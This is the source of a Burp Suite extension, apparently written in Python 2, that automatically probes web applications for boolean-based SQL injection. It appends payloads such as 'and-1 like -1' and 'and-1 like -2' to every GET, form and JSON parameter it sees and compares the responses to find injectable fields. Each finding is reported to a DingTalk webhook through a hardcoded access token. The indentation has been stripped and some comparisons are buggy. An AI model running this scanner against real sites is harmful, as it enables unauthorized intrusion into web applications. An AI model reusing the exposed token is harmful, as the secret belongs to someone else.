# -*- coding: utf-8 -*-
from burp import IBurpExtender
from burp import IHttpListener
from burp import IHttpRequestResponse
from burp import IResponseInfo
from burp import IRequestInfo
from burp import IProxyListener
from burp import IHttpService
import re
import copy
import time
import urllib2
print 'this extender by jkwolf18'
class BurpExtender(IBurpExtender, IHttpListener):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
self._callbacks.setExtensionName("dig injection++int")
callbacks.registerHttpListener(self)
global qjsz_cun
qjsz_cun=['']
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
if toolFlag == 8 or toolFlag == 4: #if tool is Proxy Tab or repeater
if not messageIsRequest:#only handle responses
#old response init
response = messageInfo.getResponse()
analyzedResponse = self._helpers.analyzeResponse(response) # returns IResponseInfo
response_headers = analyzedResponse.getHeaders()
response_bodys = response[analyzedResponse.getBodyOffset():].tostring()
response_StatusCode = analyzedResponse.getStatusCode()
for cl_header in response_headers:
if cl_header.startswith("Content-Length:"):
page_length=int(cl_header.split(': ')[1])#获取当前数据包长度
#print page_length
else:
page_length=0
#old request init
resquest = messageInfo.getRequest()
analyzedRequest = self._helpers.analyzeResponse(resquest)
request_header = analyzedRequest.getHeaders()
request_bodys = resquest[analyzedRequest.getBodyOffset():].tostring()
#fuwu ini
httpService = messageInfo.getHttpService()
port = httpService.getPort()
host = httpService.getHost()
hostexp=host.split('.')[-2]+'.'+host.split('.')[-1]
Protocol = httpService.getProtocol()
#ishttps = False
new_header=request_header
new_body=request_bodys
#boolen int ini
int_ture=request_header
int_false=request_header
int_ture_body=request_bodys
int_false_body=request_bodys
def send(content):
#print type(content)
access_token="3b86ba8a2acbbddb0ef199561b17b62b5494f593b116fc94532986824079ada0"
#if 9 <= int(datetime.now().strftime('%H')) <= 24:
url = u"https://oapi.dingtalk.com/robot/send?access_token={0}".format(access_token)
#data = u'{{"msgtype":"text","text":{{"content":"{0}\\n{1}"}}}}'.format(time.ctime(), content)
data = '{{"msgtype":"text","text":{{"content":"{0}\\n{1}"}}}}'.format(time.ctime(), content)
headers = {u"Content-Type": u"application/json"}
#requests.post(url, headers=headers, data=data, timeout=3)
req = urllib2.Request(url, data, headers)
response = urllib2.urlopen(req, timeout=3)
#r=urllib.urlopen(url, data=data,headers=headers , timeout=3)
def sendpage(header,bodys):
req = self._helpers.buildHttpMessage(header, bodys)#创建发包申请
#Protocol judge
ishttps = False
if Protocol == 'https':
ishttps = True
if not messageIsRequest:#获取响应包
#xin response receive
rep = self._callbacks.makeHttpRequest(host, port, ishttps, req)#重发包
#xin reqest init
analyzedreq = self._helpers.analyzeResponse(req)
req_headers = analyzedreq.getHeaders()
req_bodys = req[analyzedreq.getBodyOffset():].tostring()
#print req_headers[0]
#xin response init
analyzedrep = self._helpers.analyzeResponse(rep)
rep_headers = analyzedrep.getHeaders()
rep_bodys = rep[analyzedrep.getBodyOffset():].tostring()
rep_StatusCode = analyzedrep.getStatusCode()#获取重发包的响应头、返回内容、状态码
for rep_header in rep_headers:
if rep_header.startswith("Content-Length:"):
package_length=int(rep_header.split(': ')[1])
return [package_length,rep_StatusCode]#获取重发包的长度Content-Length值和状态值
need_hosts=['']
need_ip=['127.0.0.1',]
cc='.gif?'
cc1='.png?'
cc2='.js?'
cc3='.css?'
cc4='.woff?'
cc5='.jpg?'
#p1="_"
qjsz_pipei=str(host)+str(request_header[0]).split(' ')[1]+str(request_bodys)
#once check
if qjsz_pipei not in qjsz_cun:
qjsz_cun.append(qjsz_pipei)
#for need_host in need_hosts:
if hostexp in need_hosts or host in need_ip:#
if cc not in request_header[0] and cc1 not in request_header[0] and cc2 not in request_header[0] and cc3 not in request_header[0] and cc4 not in request_header[0] and cc5 not in request_header[0] and response_headers!=None:
#and int(response_StatusCode)!=404 and int(response_StatusCode)!=403
#if c not in request_header[0] and c1 not in request_header[0] and c2 not in request_header[0] and c3 not in request_header[0]:
######################has post no json#################
if request_bodys.count("=")!=0:
#num=request_bodys.count("=")
b=request_bodys.split('&')
num=len(b)
c=[copy.copy(b) for i in xrange(num)]
c1=[copy.copy(b) for i in xrange(num)]
for i in xrange(num):
c[i][i]+="%20and-1%20like%20-1"
c1[i][i]+="%20and-1%20like%20-2"
for i in xrange(num):
aaaa=''
bbbb=''
int_ture_body= "&".join(c[i])
post_intt_send=sendpage(request_header,int_ture_body)
intture_length=post_intt_send[0]
intture_status=post_intt_send[1]
#int
int_false_body="&".join(c1[i])
#time.sleep(0.1)
post_intf_send=sendpage(request_header,int_false_body)
intfalse_length=post_intf_send[0]#重发包的回包长度
intfalse_status=post_intt_send[1]#重发包回包的状态值
if intture_length!=None and intfalse_length!=None and page_length!=None:
if abs(intture_length-page_length)<20 and abs(intture_length-intfalse_length)>20 or response_StatusCode==intture_status!=intfalse_status:
print "============find int boolean injection==========="
aaaa= Protocol+"://"+host+int_false[0].split(' ')[1]
print aaaa
send("found a boolean injection")
print "=========="+int_false_body+"=========="
if aaaa!='' or bbbb!='':
break
######################has post has json#################
if request_bodys.count('",')!=0:
num=request_bodys.count('",')
b=request_bodys.split('",')
c=[copy.copy(b) for i in xrange(num)]
c1=[copy.copy(b) for i in xrange(num)]
for i in xrange(num):
c[i][i]+="%20and-1%20like%20-1"
c1[i][i]+="%20and-1%20like%20-2"
for i in xrange(num):
aaaa=''
int_ture_body= "&".join(c[i])
postj_intt_send=sendpage(request_header,int_ture_body)
intture_length=postj_intt_send[0]
intture_status=postj_intt_send[1]
#int
int_false_body="&".join(c1[i])
#time.sleep(0.1)
postj_intf_send=sendpage(request_header,int_false_body)
intfalse_length=postj_intf_send[0]
intfalse_status=postj_intf_send[1]
if intture_length!=None and intfalse_length!=None and page_length!=None:
if abs(intture_length-page_length)<20 and abs(intture_length-intfalse_length)>20 or response_StatusCode==intture_status!=intfalse_status:
print "============find int boolean injection==========="
aaaa= Protocol+"://"+host+int_false[0].split(' ')[1]
print aaaa
send("found a boolean injection")
print "=========="+int_false_body+"=========="
if aaaa!='':
break
######################has get no json#################
if request_header[0].count("=")!=0:#处理get方式
#no post body
a1=new_header[0][:-9]
nums=a1.count("=")
#print num
if nums>1:
b=a1.split('&')
num=len(b)
c=[copy.copy(b) for i in xrange(num)]
c1=[copy.copy(b) for i in xrange(num)]
for i in xrange(num):
#parm= c[i][i].split('=',1)[0]
c[i][i]+="%20and-1%20like%20-1"
c1[i][i]+="%20and-1%20like%20-2"
for i in xrange(num):
aaaa=''
bbbb=''
int_ture[0]="&".join(c[i])+" HTTP/1.1"#POST的时候为什么没有加这个HTTP/1.1
get_intt_send=sendpage(int_ture,request_bodys)
intture_length=get_intt_send[0]
intture_status=get_intt_send[1]
#int
int_false[0]="&".join(c1[i])+" HTTP/1.1"
#time.sleep(0.1)
get_intf_send=sendpage(int_false,request_bodys)
intfalse_length=get_intf_send[0]
intfalse_status=get_intf_send[1]
#NoneType debug
if intture_length!=None and intfalse_length!=None and page_length!=None:
if abs(intture_length-page_length)<20 and abs(intture_length-intfalse_length)>20 or response_StatusCode==intture_status!=intfalse_status:
print "============find int boolean injection==========="
aaaa= Protocol+"://"+host+int_false[0].split(' ')[1]
print aaaa
send("found a boolean injection")
if request_bodys!='':
print "==="+request_bodys+"==="
if nums==1:
int_ture[0]= int_ture[0].replace(" HTTP/1.1", "%20and-1=-1 HTTP/1.1")
get_intt_send=sendpage(int_ture,request_bodys)
intture_length=get_intt_send[0]
intture_status=get_intt_send[1]
#time.sleep(0.1)
int_false[0]= int_false[0].replace("%20and-1=-1 HTTP/1.1", "%20and-1=-2 HTTP/1.1")
get_intf_send=sendpage(int_false,request_bodys)
intfalse_length=get_intf_send[0]
intfalse_status=get_intf_send[1]
if intture_length!=None and intfalse_length!=None and page_length!= None:
if abs(intture_length-page_length)<20 and abs(intture_length-intfalse_length)>20 or response_StatusCode==intture_status!=intfalse_status:
print "============find int boolean injection==========="
print Protocol+"://"+host+int_false[0].split(' ')[1]
send("found a boolean injection")
if request_bodys!='':
print "==="+request_bodys+"==="